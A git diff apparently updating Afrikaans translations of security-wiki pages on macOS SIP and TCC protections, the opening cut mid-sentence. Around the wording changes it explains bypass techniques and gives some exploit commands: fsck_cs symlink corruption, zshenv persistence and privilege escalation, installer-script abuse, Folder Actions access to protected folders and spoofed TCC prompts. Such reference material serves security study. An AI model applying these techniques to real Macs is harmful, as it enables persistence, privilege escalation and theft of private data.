lêer die attribuut **`com.apple.rootless`** uitgebreide **attribu - Wysig NVRAM veranderlikes - Laat kernfoutopsporing toe -Opsies word in die nvram veranderlike as 'n bitflag (`csr-active-config` op Intel en `lp-sip0` word van die gebootte Toestelboom vir ARM gelees). Jy kan die vlae in die XNU bronne kode in `csr.sh` vind: +Opsies word in die nvram veranderlike as 'n bitvlag (`csr-active-config` op Intel en `lp-sip0` word van die gebootte Toestelboom vir ARM gelees). Jy kan die vlae in die XNU bronnekode in `csr.sh` vind:
@@ -69,8 +69,8 @@ csrutil enable --without debug ### Ander Beperkings - **Verbied die laai van ongetekende kernuitbreidings** (kexts), wat verseker dat slegs geverifieerde uitbreidings met die stelselkern kommunikeer. -- **Voorkom die debuggery** van macOS-stelselsprosesse, wat kernstelseldelers teen ongemagtigde toegang en wysigings beskerm. -- **Belemmer gereedskap** soos dtrace om stelselsprosesse te ondersoek, wat die integriteit van die stelsel se werking verder beskerm. +- **Voorkom die debuggery** van macOS-stelsels, wat kernstelseldelers teen ongemagtigde toegang en wysigings beskerm. +- **Belemmer gereedskap** soos dtrace om stelsels te inspekteer, wat die integriteit van die stelsels se werking verder beskerm. [**Leer meer oor SIP-inligting in hierdie praatjie**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.** @@ -93,7 +93,7 @@ csrutil enable --without debug Om SIP te omseil stel 'n aanvaller in staat om: - **Toegang tot Gebruikersdata**: Lees sensitiewe gebruikersdata soos pos, boodskappe en Safari-geskiedenis van alle gebruikersrekeninge. -- **TCC Omseiling**: Direk die TCC (Deursigtigheid, Toestemming en Beheer) databasis manipuleer om ongemagtigde toegang tot die webcam, mikrofoon en ander hulpbronne te verleen. +- **TCC Omseiling**: Direk die TCC (Transparensie, Toestemming, en Beheer) databasis manipuleer om ongemagtigde toegang tot die webcam, mikrofoon, en ander hulpbronne te verleen. - **Vestiging van Volharding**: Plaas malware in SIP-beskermde plekke, wat dit bestand maak teen verwydering, selfs deur root-regte. Dit sluit ook die potensiaal in om met die Malware Removal Tool (MRT) te sloop. - **Laai Kernuitbreidings**: Alhoewel daar addisionele beskermings is, vereenvoudig die omseiling van SIP die proses om ongetekende kernuitbreidings te laai. @@ -103,16 +103,16 @@ Om SIP te omseil stel 'n aanvaller in staat om: ### Nie-bestaande SIP-lêer -Een potensiële leemte is dat as 'n lêer in **`rootless.conf` gespesifiseer word maar tans nie bestaan nie**, dit geskep kan word. Malware kan dit benut om **volharding** op die stelsel te vestig. Byvoorbeeld, 'n kwaadwillige program kan 'n .plist-lêer in `/System/Library/LaunchDaemons` skep as dit in `rootless.conf` gelys is maar nie teenwoordig is nie. +Een potensiële leemte is dat as 'n lêer in **`rootless.conf` gespesifiseer is maar tans nie bestaan nie**, dit geskep kan word. Malware kan dit benut om **volharding** op die stelsel te vestig. Byvoorbeeld, 'n kwaadwillige program kan 'n .plist-lêer in `/System/Library/LaunchDaemons` skep as dit in `rootless.conf` gelys is maar nie teenwoordig is nie. ### com.apple.rootless.install.heritable > [!CAUTION] -> Die reg **`com.apple.rootless.install.heritable`** stel in staat om SIP te omseil +> Die reg **`com.apple.rootless.install.heritable`** laat toe om SIP te omseil #### [CVE-2019-8561](https://objective-see.org/blog/blog_0x42.html) -Daar is ontdek dat dit moontlik was om **die installer pakket te ruil nadat die stelsel sy kode** handtekening geverifieer het en dan, sou die stelsel die kwaadwillige pakket installeer in plaas van die oorspronklike. Aangesien hierdie aksies deur **`system_installd`** uitgevoer is, sou dit SIP omseil. +Daar is ontdek dat dit moontlik was om **die installer pakket te ruil nadat die stelsel sy kode** handtekening geverifieer het en dan, sou die stelsel die kwaadwillige pakket installeer in plaas van die oorspronklike. Aangesien hierdie aksies deur **`system_installd`** uitgevoer is, sou dit toelaat om SIP te omseil. #### [CVE-2020–9854](https://objective-see.org/blog/blog_0x4D.html) @@ -124,17 +124,17 @@ As 'n pakket van 'n gemonteerde beeld of eksterne skyf geïnstalleer is, sou die **`system_installd`** daemon sal pakkette installeer wat deur **Apple** geteken is. -Navorsers het gevind dat tydens die installasie van 'n Apple-getekende pakket (.pkg-lêer), **`system_installd`** **die** enige **post-install** skripte wat in die pakket ingesluit is, uitvoer. Hierdie skripte word deur die standaard skulp, **`zsh`**, uitgevoer, wat outomaties **opdragte** van die **`/etc/zshenv`** lêer uitvoer, indien dit bestaan, selfs in nie-interaktiewe modus. Hierdie gedrag kan deur aanvallers benut word: deur 'n kwaadwillige `/etc/zshenv` lêer te skep en te wag vir **`system_installd` om `zsh`** aan te roep, kan hulle arbitrêre operasies op die toestel uitvoer. +Navorsers het gevind dat tydens die installasie van 'n Apple-getekende pakket (.pkg-lêer), **`system_installd`** **uitvoer** enige **post-install** skripte wat in die pakket ingesluit is. Hierdie skripte word deur die standaard skulp, **`zsh`**, uitgevoer, wat outomaties **opdragte** van die **`/etc/zshenv`** lêer uitvoer, indien dit bestaan, selfs in nie-interaktiewe modus. Hierdie gedrag kan deur aanvallers benut word: deur 'n kwaadwillige `/etc/zshenv` lêer te skep en te wag vir **`system_installd` om `zsh`** aan te roep, kan hulle arbitrêre operasies op die toestel uitvoer. -Boonop is ontdek dat **`/etc/zshenv` as 'n algemene aanvalstegniek gebruik kan word**, nie net vir 'n SIP-omseiling nie. Elke gebruikersprofiel het 'n `~/.zshenv` lêer, wat dieselfde gedrag as `/etc/zshenv` vertoon, maar nie root-regte vereis nie. Hierdie lêer kan as 'n volhardingsmeganisme gebruik word, wat elke keer wat `zsh` begin, geaktiveer word, of as 'n verhoging van regte meganisme. As 'n admin-gebruiker tot root verhoog deur `sudo -s` of `sudo `, sal die `~/.zshenv` lêer geaktiveer word, wat effektief tot root verhoog. +Boonop is ontdek dat **`/etc/zshenv` as 'n algemene aanvalstegniek gebruik kan word**, nie net vir 'n SIP-omseiling nie. Elke gebruikersprofiel het 'n `~/.zshenv` lêer, wat dieselfde gedrag as `/etc/zshenv` vertoon, maar nie root-regte vereis nie. Hierdie lêer kan as 'n volhardingsmeganisme gebruik word, wat elke keer wat `zsh` begin, geaktiveer word, of as 'n verhoging van regte meganisme. As 'n admin-gebruiker tot root verhoog met `sudo -s` of `sudo `, sal die `~/.zshenv` lêer geaktiveer word, wat effektief tot root verhoog. #### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) -In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) is ontdek dat dieselfde **`system_installd`** proses steeds misbruik kon word omdat dit die **post-install skrip in 'n random naamgegee gids wat deur SIP beskerm word binne `/tmp`** geplaas het. Die ding is dat **`/tmp` self nie deur SIP beskerm word nie**, so dit was moontlik om 'n **virtuele beeld daarop te monteer**, dan sou die **installer** die **post-install skrip** daar plaas, **ontmonteer** die virtuele beeld, **herstel** al die **gidse** en **voeg** die **post-installasie** skrip met die **payload** by om uit te voer. +In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) is ontdek dat dieselfde **`system_installd`** proses steeds misbruik kon word omdat dit die **post-install skrip in 'n random naamgegee gids wat deur SIP beskerm word binne `/tmp`** geplaas het. Die ding is dat **`/tmp` self nie deur SIP beskerm word nie**, so dit was moontlik om 'n **virtuele beeld daarop te monteer**, dan sou die **installer** die **post-install skrip** daar plaas, **ontkoppel** die virtuele beeld, **herstel** al die **gidse** en **voeg** die **post-installasie** skrip met die **payload** om uit te voer. #### [fsck_cs nut](https://www.theregister.com/2016/03/30/apple_os_x_rootless/) -'n Kwesbaarheid is geïdentifiseer waar **`fsck_cs`** mislei is om 'n belangrike lêer te korrupteer, as gevolg van sy vermoë om **simboliese skakels** te volg. Spesifiek het aanvallers 'n skakel van _`/dev/diskX`_ na die lêer `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` geskep. Die uitvoering van **`fsck_cs`** op _`/dev/diskX`_ het gelei tot die korrupsie van `Info.plist`. Die integriteit van hierdie lêer is noodsaaklik vir die bedryfstelsel se SIP (Stelselintegriteitsbeskerming), wat die laai van kernuitbreidings beheer. Sodra dit gekorrumpeer is, is SIP se vermoë om kernuitsluitings te bestuur, gecompromitteer. +'n Kwesbaarheid is geïdentifiseer waar **`fsck_cs`** mislei is om 'n belangrike lêer te korrupteer, as gevolg van sy vermoë om **simboliese skakels** te volg. Spesifiek het aanvallers 'n skakel van _`/dev/diskX`_ na die lêer `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` geskep. Die uitvoering van **`fsck_cs`** op _`/dev/diskX`_ het gelei tot die korrupsie van `Info.plist`. Die integriteit van hierdie lêer is van kardinale belang vir die bedryfstelsel se SIP (Stelselintegriteitsbeskerming), wat die laai van kernuitbreidings beheer. Sodra dit gekorrumpeer is, is SIP se vermoë om kernuitsluitings te bestuur, gecompromitteer. Die opdragte om hierdie kwesbaarheid te benut is: ```bash @@ -143,7 +143,7 @@ fsck_cs /dev/diskX 1>&- touch /Library/Extensions/ reboot ``` -Die uitbuiting van hierdie kwesbaarheid het ernstige implikasies. Die `Info.plist` lêer, wat normaalweg verantwoordelik is vir die bestuur van toestemmings vir kernuitbreidings, word ondoeltreffend. Dit sluit die onvermoë in om sekere uitbreidings, soos `AppleHWAccess.kext`, op 'n swartlys te plaas. Gevolglik, met die SIP se beheermeganisme buite werking, kan hierdie uitbreiding gelaai word, wat ongeoorloofde lees- en skryftoegang tot die stelsels se RAM toelaat. +Die uitbuiting van hierdie kwesbaarheid het ernstige implikasies. Die `Info.plist`-lêer, wat normaalweg verantwoordelik is vir die bestuur van toestemmings vir kernuitbreidings, word ondoeltreffend. Dit sluit die onvermoë in om sekere uitbreidings, soos `AppleHWAccess.kext`, op 'n swartlys te plaas. Gevolglik, met die SIP se beheermeganisme buite werking, kan hierdie uitbreiding gelaai word, wat ongeoorloofde lees- en skryftoegang tot die stelsels se RAM toelaat. #### [Mount oor SIP beskermde vouers](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship) @@ -162,9 +162,9 @@ Die stelsel is ingestel om te boot vanaf 'n ingebedde installer skyfbeeld binne ``` Die sekuriteit van hierdie proses kan gecompromitteer word as 'n aanvaller die opgradering beeld (`InstallESD.dmg`) voor die opstart verander. Die strategie behels die vervanging van 'n dinamiese laaier (dyld) met 'n kwaadwillige weergawe (`libBaseIA.dylib`). Hierdie vervanging lei tot die uitvoering van die aanvaller se kode wanneer die installeerder geaktiveer word. -Die aanvaller se kode verkry beheer tydens die opgraderingsproses, wat die stelsel se vertroue in die installeerder benut. Die aanval vorder deur die `InstallESD.dmg` beeld te verander via metode swizzling, met spesifieke fokus op die `extractBootBits` metode. Dit stel die inspuiting van kwaadwillige kode voor die gebruik van die skyfbeeld in staat. +Die aanvaller se kode verkry beheer tydens die opgraderingsproses, wat die stelsel se vertroue in die installeerder benut. Die aanval vorder deur die `InstallESD.dmg` beeld te verander via metode swizzling, met spesifieke fokus op die `extractBootBits` metode. Dit stel die inspuiting van kwaadwillige kode voor voordat die skyfbeeld gebruik word. -Boonop, binne die `InstallESD.dmg`, is daar 'n `BaseSystem.dmg`, wat as die wortel lêer stelsel van die opgradering kode dien. Die inspuiting van 'n dinamiese biblioteek hierin laat die kwaadwillige kode toe om binne 'n proses te werk wat in staat is om OS-vlak lêers te verander, wat die potensiaal vir stelselskompromie aansienlik verhoog. +Boonop, binne die `InstallESD.dmg`, is daar 'n `BaseSystem.dmg`, wat dien as die wortel lêerstelsel van die opgradering kode. Die inspuiting van 'n dinamiese biblioteek hierin laat die kwaadwillige kode toe om binne 'n proses te werk wat in staat is om OS-vlak lêers te verander, wat die potensiaal vir stelselskompromie aansienlik verhoog. #### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk) @@ -172,7 +172,7 @@ In hierdie praatjie van [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN #### CVE-2023-42860 -Soos [**gedetailleer in hierdie blogpos**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), het 'n `postinstall` skrip van `InstallAssistant.pkg` pakkette toegelaat om uit te voer: +Soos [**gedetailleerd in hierdie blogpos**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), het 'n `postinstall` skrip van `InstallAssistant.pkg` pakkette toegelaat om uit te voer: ```bash /usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg" ``` @@ -197,7 +197,7 @@ Hier is 'n meer gedetailleerde kyk: 2. **Stelsel Sagteware Opdaterings**: Wanneer jy macOS-opdaterings of opgraderings installeer, skep macOS 'n nuwe stelselsnapshot. Die macOS opstartvolume gebruik dan **APFS (Apple File System)** om na hierdie nuwe snapshot oor te skakel. Die hele proses van die toepas van opdaterings word veiliger en meer betroubaar aangesien die stelsel altyd na die vorige snapshot kan terugkeer as iets verkeerd gaan tydens die opdatering. 3. **Data Skeiding**: In samewerking met die konsep van Data en Stelsel volume skeiding wat in macOS Catalina bekendgestel is, maak die Geseëlde Stelsel Snapshot kenmerk seker dat al jou data en instellings op 'n aparte "**Data**" volume gestoor word. Hierdie skeiding maak jou data onafhanklik van die stelsel, wat die proses van stelselsopdaterings vereenvoudig en stelsels sekuriteit verbeter. -Onthou dat hierdie snapshots outomaties deur macOS bestuur word en nie addisionele spasie op jou skyf opneem nie, danksy die spasie deel vermoëns van APFS. Dit is ook belangrik om te noem dat hierdie snapshots verskillend is van **Time Machine snapshots**, wat gebruikers-toeganklike rugsteun van die hele stelsel is. +Onthou dat hierdie snapshots outomaties deur macOS bestuur word en nie addisionele spasie op jou skyf in beslag neem nie, danksy die spasie deel vermoëns van APFS. Dit is ook belangrik om op te let dat hierdie snapshots verskillend is van **Time Machine snapshots**, wat gebruikers-toeganklike rugsteun van die hele stelsel is. ### Kontroleer Snapshots @@ -240,7 +240,7 @@ Die opdrag **`diskutil apfs list`** lys die **besonderhede van die APFS volumes* | FileVault: Yes (Unlocked) -In die vorige uitvoer is dit moontlik om te sien dat **gebruikers-toeganklike plekke** onder `/System/Volumes/Data` gemonteer is. +In die vorige uitvoer is dit moontlik om te sien dat **gebruikers-toeganklike plekke** gemonteer is onder `/System/Volumes/Data`. Boonop is die **macOS Stelsel volume snapshot** gemonteer in `/` en dit is **geseal** (kriptografies onderteken deur die OS). So, as SIP omseil word en dit gewysig word, sal die **OS nie meer opstart nie**. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index fd520f801..b2c71e39a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -4,15 +4,15 @@ ## **Basiese Inligting** -**TCC (Deursigtigheid, Toestemming, en Beheer)** is 'n sekuriteitsprotokol wat fokus op die regulering van toepassings se toestemmings. Sy primêre rol is om sensitiewe funksies soos **liggingsdienste, kontakte, foto's, mikrofoon, kamera, toeganklikheid, en volle skyftoegang** te beskerm. Deur eksplisiete gebruikers toestemming te vereis voordat toegang aan toepassings tot hierdie elemente gegee word, verbeter TCC privaatheid en gebruikersbeheer oor hul data. +**TCC (Deursigtigheid, Toestemming, en Beheer)** is 'n sekuriteitsprotokol wat fokus op die regulering van toepassings se toestemmings. Sy primêre rol is om sensitiewe funksies soos **liggingsdienste, kontakte, foto's, mikrofoon, kamera, toeganklikheid, en volle skyf toegang** te beskerm. Deur eksplisiete gebruikers toestemming te vereis voordat toegang aan toepassings tot hierdie elemente gegee word, verbeter TCC privaatheid en gebruikersbeheer oor hul data. -Gebruikers teëkom TCC wanneer toepassings toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n prompt wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder akkommodeer TCC direkte gebruikers aksies, soos **slepen en laat val van lêers in 'n toepassing**, om toegang tot spesifieke lêers te verleen, wat verseker dat toepassings slegs toegang het tot wat eksplisiet toegelaat word. +Gebruikers teëkom TCC wanneer toepassings toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n prompt wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder, TCC akkommodeer direkte gebruikers aksies, soos **slepen en laat val van lêers in 'n toepassing**, om toegang tot spesifieke lêers te verleen, wat verseker dat toepassings slegs toegang het tot wat eksplisiet toegelaat word. -![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) +!['n Voorbeeld van 'n TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) **TCC** word hanteer deur die **daemon** geleë in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` en geconfigureer in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (wat die mach diens `com.apple.tccd.system` registreer). -Daar is 'n **gebruikersmodus tccd** wat per ingelogde gebruiker loop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist` wat die mach dienste `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer. +Daar is 'n **gebruikermodus tccd** wat per ingelogde gebruiker loop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist` wat die mach dienste `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer. Hier kan jy die tccd sien wat as stelsel en as gebruiker loop: ```bash @@ -22,23 +22,23 @@ ps -ef | grep tcc ``` Permissies word **geërf van die ouer** toepassing en die **permissies** word **gevolg** op grond van die **Bundle ID** en die **Developer ID**. -### TCC Databases +### TCC Databasas -Die toestemmings/ontkennings word dan in sommige TCC-databasisse gestoor: +Die toelaes/weiering word dan in sommige TCC databasas gestoor: - Die stelselswye databasis in **`/Library/Application Support/com.apple.TCC/TCC.db`**. - Hierdie databasis is **SIP beskerm**, so slegs 'n SIP omseiling kan daarin skryf. - Die gebruiker TCC databasis **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** vir per-gebruiker voorkeure. -- Hierdie databasis is beskerm, so slegs prosesse met hoë TCC bevoegdhede soos Volledige Skyf Toegang kan daarin skryf (maar dit is nie deur SIP beskerm nie). +- Hierdie databasis is beskerm, so slegs prosesse met hoë TCC voorregte soos Volledige Skyf Toegang kan daarin skryf (maar dit is nie deur SIP beskerm nie). > [!WARNING] -> Die vorige databasisse is ook **TCC beskerm vir lees toegang**. So jy **sal nie in staat wees om te lees** jou gewone gebruiker TCC databasis tensy dit van 'n TCC bevoegde proses is. +> Die vorige databasas is ook **TCC beskerm vir lees toegang**. So jy **sal nie in staat wees om te lees** jou gewone gebruiker TCC databasis tensy dit van 'n TCC voorregte proses is. > -> Onthou egter dat 'n proses met hierdie hoë bevoegdhede (soos **FDA** of **`kTCCServiceEndpointSecurityClient`**) in staat sal wees om in die gebruikers TCC databasis te skryf. +> Onthou egter dat 'n proses met hierdie hoë voorregte (soos **FDA** of **`kTCCServiceEndpointSecurityClient`**) in staat sal wees om in die gebruikers TCC databasis te skryf. - Daar is 'n **derde** TCC databasis in **`/var/db/locationd/clients.plist`** om kliënte aan te dui wat toegelaat word om **toegang tot ligging dienste** te hê. -- Die SIP beskermde lêer **`/Users/carlospolop/Downloads/REG.db`** (ook beskerm teen lees toegang met TCC), bevat die **ligging** van al die **geldige TCC databasisse**. -- Die SIP beskermde lêer **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ook beskerm teen lees toegang met TCC), bevat meer TCC toegewyde toestemmings. +- Die SIP beskermde lêer **`/Users/carlospolop/Downloads/REG.db`** (ook beskerm teen lees toegang met TCC), bevat die **ligging** van al die **geldige TCC databasas**. +- Die SIP beskermde lêer **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ook beskerm teen lees toegang met TCC), bevat meer TCC toegewyde permissies. - Die SIP beskermde lêer **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (maar leesbaar deur enige iemand) is 'n toelaat lys van toepassings wat 'n TCC uitsondering vereis. > [!TIP] @@ -54,9 +54,9 @@ Die toestemmings/ontkennings word dan in sommige TCC-databasisse gestoor: > com.apple.rootless.storage.TCC > ``` > -> Onthou egter dat gebruikers **reëls kan verwyder of navraag doen** met die **`tccutil`** opdraglyn nut. +> Onthou egter dat gebruikers **kan verwyder of vra reëls** met die **`tccutil`** opdraglyn nut. -#### Navraag die databasisse +#### Vra die databasas {{#tabs}} {{#tab name="user DB"}} @@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {{#endtabs}} > [!TIP] -> Deur beide databasisse te kontroleer, kan jy die toestemmings wat 'n aansoek toegelaat het, verbied het, of nie het nie (dit sal daarna vra). +> Deur beide databasisse te kontroleer, kan jy die toestemmings wat 'n toepassing toegelaat het, verbied het, of nie het nie (dit sal daarna vra). - Die **`service`** is die TCC **toestemming** string voorstelling - Die **`client`** is die **bundel ID** of **pad na binêre** met die toestemmings @@ -199,16 +199,16 @@ csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram" ``` > [!WARNING] -> Daarom sal ander toepassings wat dieselfde naam en bundel-ID gebruik nie toegang hê tot die toegestane regte wat aan ander toepassings gegee is nie. +> Daarom sal ander toepassings wat dieselfde naam en bundel-ID gebruik nie toegang hê tot die toestemmings wat aan ander toepassings gegee is nie. ### Regte & TCC Toestemmings -Toepassings **moet nie net** **aansoek doen** en **toegang** tot sommige hulpbronne **gekry het** nie, hulle moet ook **die relevante regte hê**.\ -Byvoorbeeld **Telegram** het die reg `com.apple.security.device.camera` om **toegang tot die kamera** te vra. 'n **toepassing** wat **nie** hierdie **reg** het nie, sal **nie in staat wees** om toegang tot die kamera te verkry (en die gebruiker sal nie eens vir die toestemmings gevra word nie). +Toepassings **moet nie net** **aansoek doen** en **toegang gegee** wees tot sommige hulpbronne nie, hulle moet ook **die relevante regte hê**.\ +Byvoorbeeld **Telegram** het die reg `com.apple.security.device.camera` om **toegang tot die kamera** te vra. 'n **toepassing** wat **nie** hierdie **reg het nie, sal nie** toegang tot die kamera kan verkry (en die gebruiker sal nie eens vir die toestemmings gevra word nie). -However, vir toepassings om **toegang** tot **sekere gebruikersmappies** te hê, soos `~/Desktop`, `~/Downloads` en `~/Documents`, hoef hulle **nie** enige spesifieke **regte** te hê nie. Die stelsel sal deursigtig toegang hanteer en **die gebruiker** soos nodig **vra**. +However, vir toepassings om **toegang** tot **sekere gebruikersmappies** te hê, soos `~/Desktop`, `~/Downloads` en `~/Documents`, hoef hulle **nie** enige spesifieke **regte te hê nie.** Die stelsel sal toegang deursigtig hanteer en **die gebruiker** soos nodig vra. -Apple se toepassings **sal nie pop-ups genereer** nie. Hulle bevat **vooraf-toegepaste regte** in hul **regte** lys, wat beteken hulle sal **nooit 'n pop-up genereer** nie, **ook** sal hulle nie in enige van die **TCC databasisse** verskyn nie. Byvoorbeeld: +Apple se toepassings **sal nie pop-ups genereer** nie. Hulle bevat **vooraf-gegewe regte** in hul **regte** lys, wat beteken hulle sal **nooit 'n pop-up genereer**, **nog** sal hulle in enige van die **TCC databasisse** verskyn. Byvoorbeeld: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] @@ -254,7 +254,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 > > Let ook daarop dat as jy 'n lêer wat die UUID van 'n toepassing op jou rekenaar toelaat, na 'n ander rekenaar skuif, omdat dieselfde toepassing verskillende UIDs sal hê, dit nie toegang tot daardie toepassing sal verleen nie. -Die uitgebreide attribuut `com.apple.macl` **kan nie verwyder** word soos ander uitgebreide attribuut nie omdat dit **beskerm word deur SIP**. Dit is egter moontlik om dit te deaktiveer **deur die lêer te zip**, **dit te verwyder** en **dit weer te unzip** soos [**in hierdie pos verduidelik**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/). +Die uitgebreide attribuut `com.apple.macl` **kan nie verwyder** word soos ander uitgebreide attribuut nie omdat dit **beskerm word deur SIP**. Dit is egter moontlik om dit te deaktiveer **deur die lêer te zip,** **dit te verwyder** en **dit te unzip.** ## TCC Privesc & Bypasses @@ -308,7 +308,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp ### TCC Payloads -As jy daarin geslaag het om in 'n app met sommige TCC-toestemmings te kom, kyk die volgende bladsy met TCC payloads om dit te misbruik: +As jy daarin geslaag het om in 'n app met sommige TCC-toestemmings te kom, kyk na die volgende bladsy met TCC payloads om dit te misbruik: {{#ref}} macos-tcc-payloads.md @@ -370,7 +370,7 @@ Dit is die TCC-prompt om outomatiseringsregte oor Finder te verkry:
> [!CAUTION] -> Let daarop dat omdat die **Automator** app die TCC-toestemming **`kTCCServiceAppleEvents`** het, dit **enige app** kan **beheer**, soos Finder. So as jy die toestemming het om Automator te beheer, kan jy ook die **Finder** met 'n kode soos die een hieronder beheer: +> Let daarop dat omdat die **Automator** app die TCC-toestemming **`kTCCServiceAppleEvents`** het, dit **enige app** kan **beheer**, soos Finder. So om die toestemming te hê om Automator te beheer, kan jy ook die **Finder** met 'n kode soos die een hieronder beheer:
@@ -400,7 +400,7 @@ Die selfde gebeur met die **Script Editor app,** dit kan Finder beheer, maar met ### Outomatisering (SE) na sommige TCC -**Sisteemgebeurtenisse kan Folder Actions skep, en Folder actions kan toegang tot sommige TCC-gidse hê** (Bureaublad, Dokumente & Aflaaie), so 'n script soos die volgende kan gebruik word om hierdie gedrag te misbruik: +**Sisteemgebeurtenisse kan Folder Actions skep, en Folder actions kan toegang hê tot sommige TCC-gidse** (Bureaublad, Dokumente & Aflaaie), so 'n script soos die volgende kan gebruik word om hierdie gedrag te misbruik: ```bash # Create script to execute with the action cat > "/tmp/script.js" < [!TIP] > Dit is moontlik om die env veranderlike **`AEDebugSends`** te gebruik om inligting oor die gestuurde boodskap te log: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index 40fe2fd53..3e6a32c9a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -26,8 +26,8 @@ Dit is moontlik om **'n venster oor die TCC-prompt te plaas** sodat die gebruike ### TCC Versoek deur arbitrêre naam -Die aanvaller kan **apps met enige naam** (bv. Finder, Google Chrome...) in die **`Info.plist`** skep en dit laat aansoek doen om toegang tot 'n TCC-beskermde ligging. Die gebruiker sal dink dat die wettige toepassing die een is wat hierdie toegang aanvra.\ -Boonop is dit moontlik om die wettige app van die Dock te verwyder en die vals een daarop te plaas, sodat wanneer die gebruiker op die vals een klik (wat dieselfde ikoon kan gebruik), dit die wettige een kan bel, TCC-toestemmings kan vra en 'n malware kan uitvoer, wat die gebruiker laat glo dat die wettige app die toegang aangevra het. +Die aanvaller kan **apps met enige naam** (bv. Finder, Google Chrome...) in die **`Info.plist`** skep en dit laat toegang vra tot 'n TCC-beskermde ligging. Die gebruiker sal dink dat die wettige toepassing die een is wat hierdie toegang vra.\ +Boonop is dit moontlik om die wettige app van die Dock te verwyder en die vals een daarop te plaas, sodat wanneer die gebruiker op die vals een klik (wat dieselfde ikoon kan gebruik), dit die wettige een kan bel, TCC-toestemmings kan vra en 'n malware kan uitvoer, wat die gebruiker laat glo dat die wettige app die toegang gevra het.
@@ -39,7 +39,7 @@ Meer inligting en PoC in: ### SSH Bypass -Standaard het toegang via **SSH "Volledige Skyf Toegang"** gehad. Om dit te deaktiveer, moet jy dit gelys maar gedeaktiveer hê (om dit uit die lys te verwyder, sal nie daardie voorregte verwyder nie): +Standaard het toegang via **SSH "Volledige Skyf Toegang"** gehad. Om dit te deaktiveer, moet jy dit gelys hê maar gedeaktiveer (om dit uit die lys te verwyder, sal nie daardie voorregte verwyder nie): ![](<../../../../../images/image (1077).png>) @@ -58,15 +58,15 @@ Daarom kan 'n gebruiker **'n kwaadwillige app registreer** om al die extensies t ### iCloud -Die regte **`com.apple.private.icloud-account-access`** maak dit moontlik om met die **`com.apple.iCloudHelper`** XPC-diens te kommunikeer wat **iCloud tokens** sal verskaf. +Die regte **`com.apple.private.icloud-account-access`** maak dit moontlik om met die **`com.apple.iCloudHelper`** XPC-diens te kommunikeer wat **iCloud tokens** sal **verskaf**. **iMovie** en **Garageband** het hierdie regte gehad en ander wat dit toegelaat het. -Vir meer **inligting** oor die ontploffing om **iCloud tokens** van daardie regte te verkry, kyk na die praatjie: [**#OBTS v5.0: "Wat gebeur op jou Mac, bly op Apple se iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +Vir meer **inligting** oor die uitbuiting om **icloud tokens** van daardie regte te verkry, kyk na die praatjie: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### kTCCServiceAppleEvents / Automatisering -'n App met die **`kTCCServiceAppleEvents`** toestemming sal in staat wees om **ander Apps te beheer**. Dit beteken dat dit in staat kan wees om **die toestemming wat aan die ander Apps gegee is, te misbruik**. +'n App met die **`kTCCServiceAppleEvents`** toestemming sal in staat wees om **ander Apps te beheer**. Dit beteken dat dit in staat kan wees om **die toestemmings wat aan die ander Apps gegee is, te misbruik**. 